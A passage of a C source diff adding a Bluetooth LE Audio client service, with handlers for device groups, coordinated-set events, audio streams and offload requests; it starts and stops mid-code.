find_group_by_id(group_id); + if (!group) { + return false; + } + + list = group->devices; + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + device = bt_list_node(node); + for (index = 0; index < device->ase_number; index++) { + BT_LOGD("%s active:%d, ase state:%d, state:%d", __func__, device->ase[index].active, device->ase[index].ase_state, state); + if (device->ase[index].active && (device->ase[index].ase_state != state)) { + return false; + } + } + } + + return true; +} + +static lea_client_state_machine_t* get_state_machine(bt_address_t* addr) +{ + lea_client_service_t* service = &g_lea_client_service; + lea_client_state_machine_t* leasm; + lea_client_device_t* device; + + if (!service->started) + return NULL; + + device = find_device_by_addr(addr); + if (device) + return device->leasm; + + leasm = lea_client_state_machine_new(addr, (void*)&g_lea_client_service); + if (!leasm) { + BT_LOGE("Create state machine failed"); + return NULL; + } + + lea_client_state_machine_set_offloading(leasm, service->offloading); + device = lea_client_device_new(addr, leasm); + if (!device) { + BT_LOGE("New device alloc failed"); + lea_client_state_machine_destory(leasm); + return NULL; + } + + group_add_member(LEA_CLIENT_GROUP_ID_DEFAULT, device); + return leasm; +} + +static void lea_client_do_shutdown(void) +{ + lea_client_service_t* service = &g_lea_client_service; + + if (!service->started) + return; + + pthread_mutex_lock(&service->group_lock); + service->started = false; + pthread_mutex_unlock(&service->group_lock); + + lea_audio_sink_cleanup(); + lea_audio_source_cleanup(); + bt_sal_lea_cleanup(); +} + +static bool lea_client_message_prehandle(lea_client_state_machine_t* leas_sm, + lea_client_msg_t* event) +{ + lea_client_service_t* service = &g_lea_client_service; + + switch (event->event) { + case STACK_EVENT_STREAM_STARTED: { + lea_audio_stream_t* audio_stream = (lea_audio_stream_t*)event->data.data; + lea_client_group_t* group; + lea_offload_config_t offload = { 0 }; + uint8_t param[sizeof(lea_offload_config_t)]; + size_t size; + bool ret; + + memcpy(&audio_stream->addr, &event->data.addr, sizeof(bt_address_t)); + audio_stream->started = true; + audio_stream = lea_client_update_stream(audio_stream); + if (!audio_stream) { + break; + } + + lea_codec_set_config(audio_stream); + if (!service->offloading) { + break; + } + + group = find_group_by_addr(&event->data.addr); + if (!group) { + BT_LOGE("%s, group not exist", __func__); + break; + } + + pthread_mutex_lock(&service->group_lock); + ret = check_group_completed_by_state(group->group_id, LEA_ASCS_OP_STREAMING); + pthread_mutex_unlock(&service->group_lock); + if (!ret) { + BT_LOGD("%s, addr:%s group streamming not completed", __func__, bt_addr_str(&event->data.addr)); + return false; + } + + BT_LOGD("%s, group_id:0x%0x, stream_id:0x%08x started", __func__, group->group_id, audio_stream->stream_id); + lea_codec_get_offload_config(&offload); + offload.initiator = true; + ret = lea_offload_start_builder(&offload, param, &size); + if (!ret) { + BT_LOGE("failed, lea_offload_start_builder failed"); + break; + } + + event->event = OFFLOAD_START_REQ; + free(event->data.data); + event->data.data = malloc(size); + memcpy(event->data.data, param, size); + event->data.size = size; + break; + } + case STACK_EVENT_STREAM_STOPPED: { + lea_offload_config_t offload = { 0 }; + uint8_t param[sizeof(lea_offload_config_t)]; + lea_audio_stream_t* stream; + lea_client_msg_t* msg; + size_t size; + bool ret; + + if (!service->offloading) { + break; + } + + lea_codec_get_offload_config(&offload); + ret = lea_offload_stop_builder(&offload, param, &size); + if (!ret) { + BT_LOGE("failed, lea_offload_stop_builder"); + break; + } + + stream = lea_client_find_stream(event->data.valueint1); + if (stream) { + lea_codec_unset_config(stream->is_source); + } + + msg = lea_client_msg_new_ext(OFFLOAD_STOP_REQ, &event->data.addr, param, size); + if (!msg) { + BT_LOGE("failed, %s lea_client_msg_new_ext", __func__); + break; + } + lea_client_send_message(msg); + break; + } + default: + break; + } + + return true; +} + +static void lea_client_process_message(void* data) +{ + lea_client_service_t* service = &g_lea_client_service; + lea_client_msg_t* msg = (lea_client_msg_t*)data; + + switch (msg->event) { + case STARTUP: + client_startup(msg->data.cb); + break; + case SHUTDOWN: + lea_client_do_shutdown(); + break; + case STACK_EVENT_STACK_STATE: { + lea_client_notify_stack_state_changed(msg->data.valueint1); + break; + } + default: { + bool dispatch; + lea_client_state_machine_t* leasm; + + pthread_mutex_lock(&service->group_lock); + leasm = get_state_machine(&msg->data.addr); + if (!leasm) { + pthread_mutex_unlock(&service->group_lock); + BT_LOGE("%s, event:%d drop, leasm null", __func__, msg->event); + break; + } + + dispatch = lea_client_message_prehandle(leasm, msg); + if (!dispatch) { + pthread_mutex_unlock(&service->group_lock); + BT_LOGE("%s, event:%d not dispatch", __func__, msg->event); + break; + } + + lea_client_state_machine_dispatch(leasm, msg); + pthread_mutex_unlock(&service->group_lock); + break; + } + } + + lea_client_msg_destory(msg); +} + +bt_status_t lea_client_send_message(lea_client_msg_t* msg) +{ + assert(msg); + + do_in_service_loop(lea_client_process_message, msg); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_client_send_event(bt_address_t* addr, lea_client_event_t evt) +{ + lea_client_msg_t* msg = lea_client_msg_new(evt, addr); + + if (!msg) + return BT_STATUS_NOMEM; + + return lea_client_send_message(msg); +} + +static void lea_csip_process_message(void* data) +{ + lea_client_service_t* service = &g_lea_client_service; + lea_csip_msg_t* msg = (lea_csip_msg_t*)data; + + switch (msg->event) { + case STACK_EVENT_CSIP_CS_SIRK: { + break; + } + case STACK_EVENT_CSIP_CS_SIZE: { + break; + } + case STACK_EVENT_CSIP_CS_CREATED: { + lea_client_group_t* group; + + group = find_group_by_sirk(msg->event_data.dataarry); + if (group) { + BT_LOGE("%s, group exist", __func__); + return; + } + + lea_client_group_new(msg->event_data.dataarry); + break; + } + case STACK_EVENT_CSIP_CS_SIZE_UPDATED: { + lea_client_group_t* group; + + group = find_group_by_sirk(msg->event_data.dataarry); + if (!group) { + BT_LOGE("%s, group not found", __func__); + return; + } + + pthread_mutex_lock(&service->group_lock); + group->cs_size = msg->event_data.valueint8; + pthread_mutex_unlock(&service->group_lock); + break; + } + case STACK_EVENT_CSIP_CS_DELETED: { + lea_client_group_delete(msg->event_data.dataarry); + break; + } + case STACK_EVENT_CSIP_CS_LOCKED: { + lea_client_group_t* group; + + group = find_group_by_sirk(msg->event_data.dataarry); + if (!group) { + BT_LOGE("%s, group not found", __func__); + return; + } + LEAC_CALLBACK_FOREACH(service->callbacks, client_group_lock_cb, group->group_id, msg->event_data.valueint8); + break; + } + case STACK_EVENT_CSIP_CS_UNLOCKED: { + lea_client_group_t* group; + + group = find_group_by_sirk(msg->event_data.dataarry); + if (!group) { + BT_LOGE("%s, group not found", __func__); + return; + } + LEAC_CALLBACK_FOREACH(service->callbacks, client_group_unlock_cb, group->group_id, msg->event_data.valueint8); + break; + } + case STACK_EVENT_CSIP_CS_ORDERED_ACCESS: { + break; + } + case STACK_EVENT_CSIP_MEMBER_LOCKED: { + break; + } + case STACK_EVENT_CSIP_MEMBER_UNLOCKED: { + break; + } + case STACK_EVENT_CSIP_MEMBER_RANK: { + lea_client_device_t* device; + + device = find_device_by_addr(&msg->addr); + if (!device) { + BT_LOGE("%s, device not found", __func__); + return; + } + + pthread_mutex_lock(&device->device_lock); + device->cs_rank = msg->event_data.valueint8; + pthread_mutex_unlock(&device->device_lock); + break; + } + case STACK_EVENT_CSIP_MEMBER_DISCOVERED: { + lea_client_group_t* group; + + group = find_group_by_sirk(msg->event_data.dataarry); + if (!group) { + BT_LOGE("%s, group not found", __func__); + return; + } + + LEAC_CALLBACK_FOREACH(service->callbacks, client_group_member_discovered_cb, group->group_id, &msg->addr); + break; + } + case STACK_EVENT_CSIP_MEMBER_ADD: { + lea_client_group_t* src_group; + lea_client_group_t* des_group; + + src_group = find_group_by_id(LEA_CLIENT_GROUP_ID_DEFAULT); + if (!src_group) { + BT_LOGE("%s, src_group not found", __func__); + return; + } + + des_group = find_group_by_sirk(msg->event_data.dataarry); + if (!des_group) { + BT_LOGE("%s, des_group not found", __func__); + return; + } + + group_move_member(src_group, des_group, &msg->addr); + break; + } + case STACK_EVENT_CSIP_MEMBER_REMOVED: { + lea_client_group_t* group; + + group = find_group_by_sirk(msg->event_data.dataarry); + if (!group) { + BT_LOGE("%s, group not found", __func__); + return; + } + + group_remove_member(group->group_id, &msg->addr); + break; + } + case STACK_EVENT_CSIP_MEMBER_DISCOVERY_TERMINATED: { + lea_client_group_t* group; + + group = find_group_by_sirk(msg->event_data.dataarry); + if (!group) { + BT_LOGE("%s, group not found", __func__); + return; + } + + LEAC_CALLBACK_FOREACH(service->callbacks, client_group_discovery_stop_cb, group->group_id); + break; + } + default: { + BT_LOGE("Idle: Unexpected stack event:%d", msg->event); + break; + } + } + lea_csip_msg_destory(msg); +} + +static bt_status_t lea_csip_send_message(lea_csip_msg_t* msg) +{ + assert(msg); + + do_in_service_loop(lea_csip_process_message, msg); + + return BT_STATUS_SUCCESS; +} + +static void streams_send_message(bool is_source, lea_client_event_t event) +{ + lea_client_service_t* service = &g_lea_client_service; + bt_list_t* list = service->leac_streams; + lea_audio_stream_t* stream; + bt_list_node_t* node; + lea_client_msg_t* msg; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + stream = bt_list_node(node); + if (stream->started && (stream->is_source == is_source)) { + msg = lea_client_msg_new(event, &stream->addr); + if (!msg) + return; + + msg->data.valueint1 = stream->stream_id; + lea_client_send_message(msg); + } + } +} + +static void on_lea_sink_audio_suspend(void) +{ + // todo suspend + BT_LOGD("%s", __func__); +} + +static void on_lea_sink_audio_resume(void) +{ + // todo suspend + BT_LOGD("%s", __func__); +} + +static void on_lea_sink_meatadata_updated(void) +{ + streams_send_message(false, STACK_EVENT_METADATA_UPDATED); +} + +static void on_lea_source_audio_suspend(void) +{ + // todo suspend + BT_LOGD("%s", __func__); +} + +static void on_lea_source_audio_resume(void) +{ + // todo suspend + BT_LOGD("%s", __func__); +} + +static void on_lea_source_meatadata_updated(void) +{ + streams_send_message(true, STACK_EVENT_METADATA_UPDATED); +} + +static void lea_audio_send_data(lea_audio_stream_t* stream, uint8_t* buffer, uint16_t length) +{ + lea_send_iso_data_t* iso_pkt; + + iso_pkt = bt_sal_lea_alloc_send_buffer(stream->sdu_size, stream->iso_handle); + memcpy(iso_pkt->sdu, buffer, length); + iso_pkt->sdu_length = length; + + bt_sal_lea_send_iso_data(iso_pkt); +} + +static void on_lea_source_audio_send(uint8_t* buffer, uint16_t length) +{ + lea_client_service_t* service = &g_lea_client_service; + bt_list_t* list = service->leac_streams; + lea_audio_stream_t* stream; + bt_list_node_t* node; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + stream = bt_list_node(node); + // todo mix for many streams? + if (stream->started && !stream->is_source) { + lea_audio_send_data(stream, buffer, length); + } + } +} + +static bt_status_t lea_client_init(void) +{ + pthread_mutexattr_t attr; + lea_client_service_t* service = &g_lea_client_service; + + pthread_mutexattr_init(&attr); + pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE); + pthread_mutex_init(&service->group_lock, &attr); + pthread_mutex_init(&service->stream_lock, &attr); + + service->max_connections = CONFIG_BLUETOOTH_LEAUDIO_CLIENT_MAX_CONNECTIONS; + service->leac_groups = bt_list_new((bt_list_free_cb_t)group_delete_cb); + service->leac_streams = bt_list_new(NULL); + service->callbacks = bt_callbacks_list_new(2); + service->index_allocator = index_allocator_create(CONFIG_BLUETOOTH_LEAUDIO_CLIENT_MAX_ALLOC_NUMBER); + service->index_allocator->id_next = LEA_CLIENT_GROUP_ID_DEFAULT + 1; + + BT_LOGD("%s", __func__); + + return BT_STATUS_SUCCESS; +} + +static void lea_client_cleanup(void) +{ + lea_client_service_t* service = &g_lea_client_service; + BT_LOGD("%s", __func__); + + pthread_mutex_lock(&service->group_lock); + bt_list_free(service->leac_groups); + service->leac_groups = NULL; + pthread_mutex_unlock(&service->group_lock); + + pthread_mutex_lock(&service->stream_lock); + bt_list_free(service->leac_streams); + service->leac_streams = NULL; + pthread_mutex_unlock(&service->stream_lock); + + bt_callbacks_list_free(service->callbacks); + service->callbacks = NULL; + + index_allocator_delete(&service->index_allocator); + + pthread_mutex_destroy(&service->stream_lock); + pthread_mutex_destroy(&service->group_lock); +} + +static void client_startup(void* data) +{ + bt_status_t ret; + lea_client_service_t* service = &g_lea_client_service; + profile_on_startup_t on_startup = (profile_on_startup_t)data; + + pthread_mutex_lock(&service->group_lock); + + ret = bt_sal_lea_init(); + if (ret != BT_STATUS_SUCCESS) { + goto end; + } + + ret = lea_audio_sink_init(service->offloading); + if (ret != BT_STATUS_SUCCESS) { + goto end; + } + + ret = lea_audio_source_init(service->offloading); + if (ret != BT_STATUS_SUCCESS) { + goto end; + } + + lea_client_group_new(NULL); + service->started = true; + on_startup(PROFILE_LEAUDIO_CLIENT, true); + ret = BT_STATUS_SUCCESS; + +end: + pthread_mutex_unlock(&service->group_lock); +} + +static bt_status_t lea_client_startup(profile_on_startup_t cb) +{ + lea_client_service_t* service = &g_lea_client_service; + + BT_LOGD("%s", __func__); + pthread_mutex_lock(&service->group_lock); + if (service->started) { + pthread_mutex_unlock(&service->group_lock); + return BT_STATUS_SUCCESS; + } + pthread_mutex_unlock(&service->group_lock); + + lea_client_msg_t* msg = lea_client_msg_new(STARTUP, NULL); + if (!msg) + return BT_STATUS_NOMEM; + + msg->data.cb = cb; + return lea_client_send_message(msg); +} + +static bt_status_t lea_client_shutdown(profile_on_shutdown_t cb) +{ + BT_LOGD("%s", __func__); + + return lea_client_send_event(NULL, SHUTDOWN); +} + +static void lea_client_process_msg(profile_msg_t* msg) +{ + switch (msg->event) { + case PROFILE_EVT_LEA_OFFLOADING: + g_lea_client_service.offloading = msg->data.valuebool; + break; + + default: + break; + } +} + +static void* lea_client_register_callbacks(void* remote, const lea_client_callbacks_t* callbacks) +{ + lea_client_service_t* service = &g_lea_client_service; + + if (!service->started) + return NULL; + + return bt_remote_callbacks_register(service->callbacks, + remote, (void*)callbacks); +} + +static bool lea_client_unregister_callbacks(void** remote, void* cookie) +{ + lea_client_service_t* service = &g_lea_client_service; + + if (!service->started) + return false; + + return bt_remote_callbacks_unregister(service->callbacks, + remote, cookie); +} + +static profile_connection_state_t lea_client_get_connection_state(bt_address_t* addr) +{ + lea_client_device_t* device; + profile_connection_state_t conn_state; + + device = find_device_by_addr(addr); + if (!device) + return PROFILE_STATE_DISCONNECTED; + + pthread_mutex_lock(&device->device_lock); + conn_state = device->state; + pthread_mutex_unlock(&device->device_lock); + + return conn_state; +} + +static bt_status_t lea_client_connect_device(bt_address_t* addr) +{ + CHECK_ENABLED(); + return lea_client_send_event(addr, CONNECT_DEVICE); +} + +static bt_status_t lea_client_get_group_id(bt_address_t* addr, uint32_t* group_id) +{ + lea_client_service_t* service = &g_lea_client_service; + lea_client_group_t* group; + + CHECK_ENABLED(); + + group = find_group_by_addr(addr); + if (!group) { + BT_LOGE("%s, group no exist", __func__); + return BT_STATUS_NOT_FOUND; + } + + pthread_mutex_lock(&service->group_lock); + *group_id = group->group_id; + pthread_mutex_unlock(&service->group_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t get_ases_streams_id_form_group(uint32_t group_id, uint8_t* num, uint32_t* stream_ids) +{ + lea_client_service_t* service = &g_lea_client_service; + bt_list_node_t* cnode; + bt_list_t* clist; + lea_client_device_t* device; + lea_client_group_t* group; + int index, cnt; + + *num = 0; + cnt = 0; + group = find_group_by_id(group_id); + if (!group) { + BT_LOGE("%s, group no exist", __func__); + return BT_STATUS_NOT_FOUND; + } + + clist = group->devices; + pthread_mutex_lock(&service->group_lock); + for (cnode = bt_list_head(clist); cnode != NULL; cnode = bt_list_next(clist, cnode)) { + device = bt_list_node(cnode); + for (index = 0; index < device->ase_number; index++) { + stream_ids[cnt++] = device->ase[index].stream_id; + } + } + *num = cnt; + pthread_mutex_unlock(&service->group_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t get_ases_streams_id_form_context(uint32_t group_id, uint8_t* num, uint32_t* stream_ids) +{ + lea_client_service_t* service = &g_lea_client_service; + bt_list_node_t* cnode; + bt_list_t* clist; + lea_client_device_t* device; + lea_client_group_t* group; + int index, cnt; + + *num = 0; + cnt = 0; + group = find_group_by_id(group_id); + if (!group) { + BT_LOGE("%s, group no exist", __func__); + return BT_STATUS_NOT_FOUND; + } + + clist = group->devices; + pthread_mutex_lock(&service->group_lock); + for (cnode = bt_list_head(clist); cnode != NULL; cnode = bt_list_next(clist, cnode)) { + device = bt_list_node(cnode); + for (index = 0; index < device->ase_number; index++) { + if (device->ase[index].active) { + stream_ids[cnt++] = device->ase[index].stream_id; + } + } + } + *num = cnt; + pthread_mutex_unlock(&service->group_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t get_ases_streams_id_from_addr(uint32_t group_id, bt_address_t* addr, uint8_t* num, uint32_t* stream_ids) +{ + lea_client_device_t* device; + int index; + + device = find_device_by_groupid_addr(group_id, addr); + if (!device) { + BT_LOGE("%s, device not found", __func__); + return BT_STATUS_NOT_FOUND; + } + + pthread_mutex_lock(&device->device_lock); + for (index = 0; index < device->ase_number; index++) { + stream_ids[index] = device->ase[index].stream_id; + } + *num = index; + pthread_mutex_unlock(&device->device_lock); + + return BT_STATUS_SUCCESS; +} + +static bool lea_client_ucc_source_context_is_valid(uint16_t context, lea_client_device_t* device) +{ + // Check Available_Audio_Contexts and Supported_Audio_Contexts bit set + if ((LEA_BIT(context) & device->source_avaliable_ctx) && (LEA_BIT(context) & device->source_supported_ctx)) { + return true; + } + + // Check Available_Audio_Contexts and Supported_Audio_Contexts «Unspecified» bit set + if (!(LEA_BIT(context) & device->source_supported_ctx) && (device->source_avaliable_ctx & LEA_BIT(ADPT_LEA_CTX_ID_UNSPECIFIED)) && (device->source_supported_ctx & LEA_BIT(ADPT_LEA_CTX_ID_UNSPECIFIED))) { + return true; + } + + return false; +} + +static bool lea_client_ucc_sink_context_is_valid(uint16_t context, lea_client_device_t* device) +{ + // Check Available_Audio_Contexts and Supported_Audio_Contexts bit set + if ((LEA_BIT(context) & device->sink_avaliable_ctx) && (LEA_BIT(context) & device->sink_supported_ctx)) { + return true; + } + + // Check Available_Audio_Contexts and Supported_Audio_Contexts «Unspecified» bit set + if (!(LEA_BIT(context) & device->sink_supported_ctx) && (device->sink_avaliable_ctx & LEA_BIT(ADPT_LEA_CTX_ID_UNSPECIFIED)) && (device->sink_supported_ctx & LEA_BIT(ADPT_LEA_CTX_ID_UNSPECIFIED))) { + return true; + } + + return false; +} + +static uint16_t lea_client_get_initiator_contexts(uint8_t context) +{ + int num; + uint16_t contexts; + + num = sizeof(g_lc3_local_prefer_configs) / sizeof(g_lc3_local_prefer_configs[0]); + for (int index = 0; index < num; index++) { + contexts = g_lc3_local_prefer_configs[index].contexts; + if (contexts & LEA_BIT(context)) { + return contexts; + } + } + + return ADPT_LEA_CONTEXT_TYPE_PROHIBITED; +} + +static const lea_lc3_prefer_config* lea_client_get_initiator_lc3_config(uint8_t context) +{ + int num; + const lea_lc3_prefer_config* config; + + num = sizeof(g_lc3_local_prefer_configs) / sizeof(g_lc3_local_prefer_configs[0]); + for (int index = 0; index < num; index++) { + config = &g_lc3_local_prefer_configs[index]; + if (config->contexts & LEA_BIT(context)) { + return config; + } + } + + return NULL; +} + +static bt_status_t connect_audio_internal(lea_client_group_t* group, lea_client_device_t* device) +{ + profile_connection_state_t state; + lea_client_msg_t* msg; + uint16_t local_contexts; + + pthread_mutex_lock(&device->device_lock); + state = device->state; + pthread_mutex_unlock(&device->device_lock); + if (state != PROFILE_STATE_CONNECTED) { + BT_LOGE("%s, device no connected", __func__); + return BT_STATUS_NO_RESOURCES; + } + + local_contexts = lea_client_get_initiator_contexts(group->context); + BT_LOGD("%s, local_contexts:0x%08x", __func__, local_contexts); + if (!lea_client_ucc_sink_context_is_valid(group->context, device) && !lea_client_ucc_source_context_is_valid(group->context, device)) { + BT_LOGE("%s, local_contexts:0x%08x not avaliable", __func__, local_contexts); + return BT_STATUS_NOT_SUPPORTED; + } + + msg = lea_client_msg_new(CONNECT_AUDIO, &device->addr); + if (!msg) + return BT_STATUS_NOMEM; + + msg->data.valueint1 = group->group_id; + return lea_client_send_message(msg); +} + +static bt_status_t lea_client_connect_audio(bt_address_t* addr, uint8_t context) +{ + lea_client_service_t* service = &g_lea_client_service; + lea_client_group_t* group; + lea_client_device_t* device; + + CHECK_ENABLED(); + + if (context >= ADPT_LEA_CTX_ID_NUMBER) { + BT_LOGE("%s, context(%d) not support", __func__, context); + return BT_STATUS_NOT_SUPPORTED; + } + + group = find_group_by_addr(addr); + if (!group) { + BT_LOGE("%s, group no exist", __func__); + return BT_STATUS_NOT_FOUND; + } + + device = find_device_by_group_addr(group, addr); + if (!device) { + BT_LOGE("%s, device no exist", __func__); + return BT_STATUS_NOT_FOUND; + } + + pthread_mutex_lock(&service->group_lock); + group->context = context; + pthread_mutex_unlock(&service->group_lock); + + return connect_audio_internal(group, device); +} + +static bt_status_t lea_client_disconnect_device(bt_address_t* addr) +{ + CHECK_ENABLED(); + profile_connection_state_t state = lea_client_get_connection_state(addr); + if (state == PROFILE_STATE_DISCONNECTED || state == PROFILE_STATE_DISCONNECTING) + return BT_STATUS_FAIL; + + return lea_client_send_event(addr, DISCONNECT_DEVICE); +} + +static bt_status_t disconnect_audio_internal(uint32_t group_id, bt_address_t* addr) +{ + lea_client_msg_t* msg = lea_client_msg_new(DISCONNECT_AUDIO, addr); + if (!msg) + return BT_STATUS_NOMEM; + + msg->data.valueint1 = group_id; + return lea_client_send_message(msg); +} + +static bt_status_t lea_client_disconnect_audio(bt_address_t* addr) +{ + lea_client_group_t* group; + + CHECK_ENABLED(); + group = find_group_by_addr(addr); + if (!group) { + return BT_STATUS_NOT_FOUND; + } + + return disconnect_audio_internal(group->group_id, addr); +} + +bt_status_t lea_csip_read_sirk(bt_address_t* addr) +{ + CHECK_ENABLED(); + return bt_sal_lea_csip_read_sirk(addr); +} + +bt_status_t lea_csip_read_cs_size(bt_address_t* addr) +{ + lea_client_group_t* group; + + CHECK_ENABLED(); + group = find_group_by_addr(addr); + if (!group) { + return BT_STATUS_NOT_FOUND; + } + + return bt_sal_lea_csip_read_cs_size(addr); +} + +bt_status_t lea_csip_read_member_lock(bt_address_t* addr) +{ + lea_client_group_t* group; + + CHECK_ENABLED(); + group = find_group_by_addr(addr); + if (!group) { + return BT_STATUS_NOT_FOUND; + } + return bt_sal_lea_csip_read_member_lock(addr); +} + +bt_status_t lea_csip_read_member_rank(bt_address_t* addr) +{ + lea_client_group_t* group; + + CHECK_ENABLED(); + group = find_group_by_addr(addr); + if (!group) { + return BT_STATUS_NOT_FOUND; + } + + return bt_sal_lea_csip_read_member_rank(addr); +} + +static bt_status_t lea_client_discovery_member_start(uint32_t group_id) +{ + lea_client_group_t* group; + + CHECK_ENABLED(); + group = find_group_by_id(group_id); + if (!group) { + return BT_STATUS_NOT_FOUND; + } + + return bt_sal_lea_csip_coordinated_set_discovery_member_start(group->sirk); +} + +static bt_status_t lea_client_discovery_member_stop(uint32_t group_id) +{ + lea_client_group_t* group; + + CHECK_ENABLED(); + group = find_group_by_id(group_id); + if (!group) { + return BT_STATUS_NOT_FOUND; + } + + return bt_sal_lea_csip_coordinated_set_discovery_member_stop(group->sirk); +} + +static bt_status_t lea_client_group_add_member(uint32_t group_id, bt_address_t* addr) +{ + lea_client_service_t* service = &g_lea_client_service; + lea_client_device_t* device; + lea_client_state_machine_t* leasm; + + CHECK_ENABLED(); + device = find_device_by_groupid_addr(group_id, addr); + if (device) { + goto end; + } + + leasm = lea_client_state_machine_new(addr, (void*)service); + if (!leasm) { + BT_LOGE("Create state machine failed"); + return BT_STATUS_NOMEM; + } + + device = lea_client_device_new(addr, leasm); + group_add_member(group_id, device); + +end: + LEAC_CALLBACK_FOREACH(service->callbacks, client_group_member_added_cb, group_id, addr); + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_client_group_remove_member(uint32_t group_id, bt_address_t* addr) +{ + lea_client_service_t* service = &g_lea_client_service; + bt_status_t ret; + CHECK_ENABLED(); + + ret = group_remove_member(group_id, addr); + if (ret != BT_STATUS_SUCCESS) { + return ret; + } + + LEAC_CALLBACK_FOREACH(service->callbacks, client_group_member_removed_cb, group_id, addr); + return BT_STATUS_SUCCESS; +} + +static void group_connect_audio_cb(void* data, void* context) +{ + lea_client_device_t* device = (lea_client_device_t*)data; + + connect_audio_internal((lea_client_group_t*)context, device); +} + +static bt_status_t lea_client_group_connect_audio(uint32_t group_id, uint8_t context) +{ + lea_client_service_t* service = &g_lea_client_service; + lea_client_group_t* group; + + CHECK_ENABLED(); + group = find_group_by_id(group_id); + if (!group) { + BT_LOGE("%s, group no exist", __func__); + return BT_STATUS_NOT_FOUND; + } + pthread_mutex_lock(&service->group_lock); + group->context = context; + pthread_mutex_unlock(&service->group_lock); + + bt_list_foreach(group->devices, group_connect_audio_cb, group); + return BT_STATUS_SUCCESS; +} + +static void group_disconnect_audio_cb(void* data, void* context) +{ + lea_client_device_t* device = (lea_client_device_t*)data; + lea_client_group_t* group = (lea_client_group_t*)context; + + disconnect_audio_internal(group->group_id, &device->addr); +} + +static bt_status_t lea_client_group_disconnect_audio(uint32_t group_id) +{ + lea_client_group_t* group; + + CHECK_ENABLED(); + group = find_group_by_id(group_id); + if (!group) { + BT_LOGE("%s, group no exist", __func__); + return BT_STATUS_NOT_FOUND; + } + + bt_list_foreach(group->devices, group_disconnect_audio_cb, group); + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_client_group_lock(uint32_t group_id) +{ + lea_client_group_t* group; + + CHECK_ENABLED(); + group = find_group_by_id(group_id); + if (!group) { + BT_LOGE("%s, group no exist", __func__); + return BT_STATUS_NOT_FOUND; + } + + return bt_sal_lea_csip_coordinated_set_lock_request(group->sirk); +} + +static bt_status_t lea_client_group_unlock(uint32_t group_id) +{ + lea_client_group_t* group; + + CHECK_ENABLED(); + group = find_group_by_id(group_id); + if (!group) { + BT_LOGE("%s, group no exist", __func__); + return BT_STATUS_NOT_FOUND; + } + + return bt_sal_lea_csip_coordinated_set_lock_release(group->sirk); +} + +static const void* get_leac_profile_interface(void) +{ + return &LEAClientInterface; +} + +static int lea_client_dump(void) +{ + printf("impl hfp hf dump"); + return 0; +} + +static bool lea_client_stream_cmp(void* audio_stream, void* stream_id) +{ + return ((lea_audio_stream_t*)audio_stream)->stream_id == *((uint32_t*)stream_id); +} + +static int lea_client_get_state(void) +{ + return 1; +} + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +lea_audio_stream_t* lea_client_add_stream( + uint32_t stream_id, bt_address_t* addr) +{ + lea_client_service_t* service = &g_lea_client_service; + lea_audio_stream_t* audio_stream; + + audio_stream = malloc(sizeof(lea_audio_stream_t)); + if (!audio_stream) { + BT_LOGE("error, malloc %s", __func__); + return NULL; + } + + audio_stream->stream_id = stream_id; + audio_stream->started = false; + audio_stream->is_source = bt_sal_lea_is_source_stream(stream_id); + memcpy(&audio_stream->addr, addr, sizeof(bt_address_t)); + + pthread_mutex_lock(&service->stream_lock); + bt_list_add_tail(service->leac_streams, audio_stream); + pthread_mutex_unlock(&service->stream_lock); + + return audio_stream; +} + +lea_audio_stream_t* lea_client_find_stream(uint32_t stream_id) +{ + lea_client_service_t* service = &g_lea_client_service; + lea_audio_stream_t* stream; + + pthread_mutex_lock(&service->stream_lock); + stream = bt_list_find(service->leac_streams, lea_client_stream_cmp, &stream_id); + pthread_mutex_unlock(&service->stream_lock); + + return stream; +} + +lea_audio_stream_t* lea_client_update_stream(lea_audio_stream_t* stream) +{ + lea_client_service_t* service = &g_lea_client_service; + lea_audio_stream_t* local_stream; + lea_client_group_t* group; + + group = find_group_by_addr(&stream->addr); + if (!group) { + BT_LOGE("%s, addr:%s, group_id:0x%0x, is_source:%d, group not exist", __func__, bt_addr_str(&stream->addr), + stream->group_id, stream->is_source) + return NULL; + } + pthread_mutex_lock(&service->stream_lock); + local_stream = bt_list_find(service->leac_streams, lea_client_stream_cmp, &stream->stream_id); + if (!local_stream) { + pthread_mutex_unlock(&service->stream_lock); + BT_LOGE("%s, addr:%s, group_id:0x%0x, is_source:%d, local_stream not exist", __func__, bt_addr_str(&stream->addr), + stream->group_id, stream->is_source) + return NULL; + } + + stream->group_id = group->group_id; + memcpy(local_stream, stream, sizeof(lea_audio_stream_t)); + pthread_mutex_unlock(&service->stream_lock); + BT_LOGD("%s addr:%s, group_id:0x%0x, is_source:%d, started:%d", __func__, bt_addr_str(&local_stream->addr), + local_stream->group_id, local_stream->is_source, + local_stream->started); + + return local_stream; +} + +void lea_client_remove_stream(uint32_t stream_id) +{ + lea_client_service_t* service = &g_lea_client_service; + lea_audio_stream_t* audio_stream; + + pthread_mutex_lock(&service->stream_lock); + audio_stream = bt_list_find(service->leac_streams, lea_client_stream_cmp, &stream_id); + bt_list_remove(service->leac_streams, audio_stream); + pthread_mutex_unlock(&service->stream_lock); +} + +void lea_client_remove_streams() +{ + lea_client_service_t* service = &g_lea_client_service; + + pthread_mutex_lock(&service->stream_lock); + bt_list_clear(service->leac_streams); + pthread_mutex_unlock(&service->stream_lock); +} + +void lea_client_notify_stack_state_changed(lea_client_stack_state_t + enabled) +{ + lea_client_service_t* service = &g_lea_client_service; + + LEAC_CALLBACK_FOREACH(service->callbacks, client_stack_state_cb, enabled); +} + +void lea_client_notify_connection_state_changed(bt_address_t* addr, + profile_connection_state_t state) +{ + lea_client_service_t* service = &g_lea_client_service; + lea_client_device_t* device; + + device = find_device_by_addr(addr); + if (!device) { + BT_LOGE("%s, device no exist", __func__); + return; + } + + pthread_mutex_lock(&device->device_lock); + device->state = state; + pthread_mutex_unlock(&device->device_lock); + + LEAC_CALLBACK_FOREACH(service->callbacks, client_connection_state_cb, state, addr); +} + +static bool leac_client_lc3_duation_checked(const lea_client_capability_t* pac, const lea_lc3_config_t* lc3_config) +{ + 